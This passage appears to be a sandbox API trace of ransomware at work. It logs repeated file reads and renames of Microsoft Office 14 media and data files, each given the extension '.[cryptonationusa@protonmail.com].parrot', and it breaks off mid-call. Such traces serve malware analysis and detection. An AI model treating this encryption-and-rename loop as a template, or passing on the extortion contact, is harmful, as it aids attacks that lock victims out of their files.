[0195.373] ReadFile (in: hFile=0x1b0, lpBuffer=0x18f220, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x18f220*, lpNumberOfBytesRead=0x18f1c4*=0x18, lpOverlapped=0x0) returned 1 [0195.374] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0195.374] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18f1c4*=0x10000, lpOverlapped=0x0) returned 1 [0195.377] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0195.378] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\LOOKUP.DAT" (normalized: "c:\\program files\\microsoft office\\office14\\lookup.dat"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\LOOKUP.DAT.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\lookup.dat.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0195.384] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\*", fInfoLevelId=0x0, lpFindFileData=0x18ef8c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ef8c) returned 0x600490 [0195.386] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0195.386] FindNextFileW (in: hFindFile=0x600490, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a15810, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x708e7550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x708e7550, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0195.386] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0195.386] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0195.386] FindNextFileW (in: hFindFile=0x600490, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb796bf00, ftCreationTime.dwHighDateTime=0x1bd8ab7, ftLastAccessTime.dwLowDateTime=0x5ebdaad0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb796bf00, ftLastWriteTime.dwHighDateTime=0x1bd8ab7, nFileSizeHigh=0x0, nFileSizeLow=0x6daa, dwReserved0=0x0, dwReserved1=0x0, cFileName="APPLAUSE.WAV", cAlternateFileName="")) returned 1 [0195.387] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0195.387] ReadFile (in: hFile=0x284, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0195.389] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0195.389] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x6daa, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x6daa, lpOverlapped=0x0) returned 1 [0195.392] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0195.393] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\APPLAUSE.WAV" (normalized: "c:\\program files\\microsoft office\\office14\\media\\applause.wav"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\APPLAUSE.WAV.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\media\\applause.wav.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0195.399] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0195.399] ReadFile (in: hFile=0x284, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0195.400] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0195.400] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x59f6, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x59f6, lpOverlapped=0x0) returned 1 [0195.401] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0195.402] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\ARROW.WAV" (normalized: "c:\\program files\\microsoft office\\office14\\media\\arrow.wav"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\ARROW.WAV.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\media\\arrow.wav.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0195.408] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0195.408] ReadFile (in: hFile=0x284, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0195.409] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0195.410] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x2f676, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x2f676, lpOverlapped=0x0) returned 1 [0195.415] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0195.419] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\BOMB.WAV" (normalized: "c:\\program files\\microsoft office\\office14\\media\\bomb.wav"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\BOMB.WAV.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\media\\bomb.wav.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0195.428] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0195.428] ReadFile (in: hFile=0x284, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0195.429] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0195.430] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x10c2, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x10c2, lpOverlapped=0x0) returned 1 [0195.430] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0195.431] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\BREEZE.WAV" (normalized: "c:\\program files\\microsoft office\\office14\\media\\breeze.wav"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\BREEZE.WAV.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\media\\breeze.wav.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0195.438] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0195.438] ReadFile (in: hFile=0x284, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0195.439] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0195.440] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1594, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x1594, lpOverlapped=0x0) returned 1 [0195.441] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0195.441] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\CAMERA.WAV" (normalized: "c:\\program files\\microsoft office\\office14\\media\\camera.wav"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\CAMERA.WAV.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\media\\camera.wav.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0195.447] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0195.447] ReadFile (in: hFile=0x284, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0195.448] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0195.448] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1d7f, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x1d7f, lpOverlapped=0x0) returned 1 [0195.449] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0195.450] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\CASHREG.WAV" (normalized: "c:\\program files\\microsoft office\\office14\\media\\cashreg.wav"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\CASHREG.WAV.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\media\\cashreg.wav.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0195.455] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0195.455] ReadFile (in: hFile=0x284, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0195.456] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0195.457] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x91be, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x91be, lpOverlapped=0x0) returned 1 [0195.458] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0195.459] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\CHIMES.WAV" (normalized: "c:\\program files\\microsoft office\\office14\\media\\chimes.wav"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\CHIMES.WAV.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\media\\chimes.wav.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0195.464] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0195.464] ReadFile (in: hFile=0x284, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0195.466] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0195.466] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x268, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x268, lpOverlapped=0x0) returned 1 [0195.466] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0195.466] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\CLICK.WAV" (normalized: "c:\\program files\\microsoft office\\office14\\media\\click.wav"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\CLICK.WAV.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\media\\click.wav.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0195.472] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0195.472] ReadFile (in: hFile=0x284, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0195.473] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0195.474] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x15bc, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x15bc, lpOverlapped=0x0) returned 1 [0195.510] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0195.511] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\COIN.WAV" (normalized: "c:\\program files\\microsoft office\\office14\\media\\coin.wav"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\COIN.WAV.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\media\\coin.wav.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0195.526] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0195.526] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0195.527] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0195.528] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x4be2, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x4be2, lpOverlapped=0x0) returned 1 [0195.529] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0195.529] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\DRUMROLL.WAV" (normalized: "c:\\program files\\microsoft office\\office14\\media\\drumroll.wav"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\DRUMROLL.WAV.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\media\\drumroll.wav.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0195.534] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0195.535] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0195.536] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0195.536] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x5c20, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x5c20, lpOverlapped=0x0) returned 1 [0195.537] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0195.537] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\EXPLODE.WAV" (normalized: "c:\\program files\\microsoft office\\office14\\media\\explode.wav"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\EXPLODE.WAV.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\media\\explode.wav.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0195.541] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0195.541] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0195.543] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0195.543] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xfbc, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0xfbc, lpOverlapped=0x0) returned 1 [0195.543] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0195.544] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\HAMMER.WAV" (normalized: "c:\\program files\\microsoft office\\office14\\media\\hammer.wav"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\HAMMER.WAV.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\media\\hammer.wav.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0195.548] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0195.548] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0195.549] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0195.549] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x72d, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x72d, lpOverlapped=0x0) returned 1 [0195.549] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0195.550] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\LASER.WAV" (normalized: "c:\\program files\\microsoft office\\office14\\media\\laser.wav"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\LASER.WAV.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\media\\laser.wav.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0195.554] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0195.554] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0195.555] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0195.555] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x3d84, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x3d84, lpOverlapped=0x0) returned 1 [0195.556] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0195.557] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\PUSH.WAV" (normalized: "c:\\program files\\microsoft office\\office14\\media\\push.wav"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\PUSH.WAV.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\media\\push.wav.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0195.560] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0195.561] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0195.562] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0195.562] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1664, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x1664, lpOverlapped=0x0) returned 1 [0195.563] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0195.563] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\SUCTION.WAV" (normalized: "c:\\program files\\microsoft office\\office14\\media\\suction.wav"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\SUCTION.WAV.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\media\\suction.wav.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0195.567] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0195.568] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0195.569] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0195.569] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x121c, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x121c, lpOverlapped=0x0) returned 1 [0195.570] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0195.570] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\TYPE.WAV" (normalized: "c:\\program files\\microsoft office\\office14\\media\\type.wav"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\TYPE.WAV.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\media\\type.wav.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0195.574] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0195.574] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0195.576] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0195.576] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x35c6, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x35c6, lpOverlapped=0x0) returned 1 [0195.577] SetFilePointerEx 